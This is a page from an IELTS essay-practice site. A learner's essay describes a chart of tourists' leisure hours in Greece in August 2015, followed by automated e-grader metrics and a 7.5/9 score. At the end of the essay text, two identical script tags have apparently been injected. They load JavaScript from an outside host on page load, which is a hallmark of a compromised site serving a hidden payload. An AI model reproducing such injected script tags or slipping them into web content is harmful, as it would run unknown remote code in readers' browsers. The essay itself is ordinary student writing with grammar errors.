The chart shows the average number of hours each day that Chinese American Turkish and Brazilian tourists spent doing leisure activities while on holiday in Greece in August 2015

Essay topics:

The chart shows the average number of hours each day that Chinese, American, Turkish and Brazilian tourists spent doing leisure activities while on holiday in Greece in August 2015.

Illustrated in the chart is the average hours of different relaxing activities that tourist from several countries chose while enjoying the holiday in Greece in August 2015. Overall, reading book was one of the most popular activities, especially with Chinese tourist while visiting places was the least favored activities in general.

As can be observed from the bar chart, Chinese people spent most of the time on books, almost half of the day, 8 hours specifically. This was also the most dominant activity that Chinese entertained themself during holiday in Greece. Ranked right behind the reading time of Chinese was American tourists' with 5 hours per day. People from other nations, named Turkey and Brazil spent a little less time for reading, about 4 hours each day.

Meanwhile, outdoor activities like going to the beach and visiting tourist sites attracted more attention and accounted much time in Turkish and Brazilian, they spent 5 and 6 hours at the beach respectively. There was not much of a difference amongst time for book, time for beach or visiting places each of American travelers. However, by contrast, an opposite pattern can be seen between the time allocated for outdoor activities in general and time allocated for reading activities, with the former ranked behind.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>

Votes
Average: 8.4 (1 vote)
This essay topic by users
Post date Users Rates Link to Content
2025-07-03 junii 84 view
2023-06-20 maiphuong060802 view
2023-02-14 Desi Sari Ayuni view
2023-02-14 Desi Sari Ayuni view
2023-02-13 evaerdalina view
Essays by user junii :

Comments

Transition Words or Phrases used:
also, however, if, so, while, in general

Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments

Performance on Part of Speech:
To be verbs : 8.0 7.0 114% => OK
Auxiliary verbs: 2.0 1.00243902439 200% => OK
Conjunction : 7.0 6.8 103% => OK
Relative clauses : 2.0 3.15609756098 63% => OK
Pronoun: 4.0 5.60731707317 71% => OK
Preposition: 31.0 33.7804878049 92% => OK
Nominalization: 2.0 3.97073170732 50% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.

Performance on vocabulary words:
No of characters: 1089.0 965.302439024 113% => OK
No of words: 210.0 196.424390244 107% => OK
Chars per words: 5.18571428571 4.92477711251 105% => OK
Fourth root words length: 3.80675409584 3.73543355544 102% => OK
Word Length SD: 2.58790576255 2.65546596893 97% => OK
Unique words: 122.0 106.607317073 114% => OK
Unique words percentage: 0.580952380952 0.547539520022 106% => OK
syllable_count: 333.9 283.868780488 118% => OK
avg_syllables_per_word: 1.6 1.45097560976 110% => OK

A sentence (or a clause, phrase) starts by:
Pronoun: 2.0 1.53170731707 131% => OK
Article: 1.0 4.33902439024 23% => OK
Subordination: 1.0 1.07073170732 93% => OK
Conjunction: 0.0 0.482926829268 0% => OK
Preposition: 3.0 3.36585365854 89% => OK

Performance on sentences:
How many sentences: 9.0 8.94146341463 101% => OK
Sentence length: 23.0 22.4926829268 102% => OK
Sentence length SD: 38.7559633006 43.030603864 90% => OK
Chars per sentence: 121.0 112.824112599 107% => OK
Words per sentence: 23.3333333333 22.9334400587 102% => OK
Discourse Markers: 4.44444444444 5.23603664747 85% => OK
Paragraphs: 3.0 3.83414634146 78% => More paragraphs wanted.
Language errors: 0.0 1.69756097561 0% => OK
Sentences with positive sentiment : 4.0 3.70975609756 108% => OK
Sentences with negative sentiment : 0.0 1.13902439024 0% => More negative sentences wanted.
Sentences with neutral sentiment: 5.0 4.09268292683 122% => OK
What are sentences with positive/Negative/neutral sentiment?

Coherence and Cohesion:
Essay topic to essay body coherence: 0.30894937321 0.215688989381 143% => OK
Sentence topic coherence: 0.137856175513 0.103423049105 133% => OK
Sentence topic coherence SD: 0.0885391701167 0.0843802449381 105% => OK
Paragraph topic coherence: 0.218386310531 0.15604864568 140% => OK
Paragraph topic coherence SD: 0.0807920690264 0.0819641961636 99% => OK

Essay readability:
automated_readability_index: 14.7 13.2329268293 111% => OK
flesch_reading_ease: 48.13 61.2550243902 79% => OK
smog_index: 8.8 6.51609756098 135% => OK
flesch_kincaid_grade: 12.3 10.3012195122 119% => OK
coleman_liau_index: 13.12 11.4140731707 115% => OK
dale_chall_readability_score: 8.39 8.06136585366 104% => OK
difficult_words: 48.0 40.7170731707 118% => OK
linsear_write_formula: 12.0 11.4329268293 105% => OK
gunning_fog: 11.2 10.9970731707 102% => OK
text_standard: 12.0 11.0658536585 108% => OK
What are above readability scores?

---------------------

Rates: 84.2696629213 out of 100
Scores by essay e-grader: 7.5 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.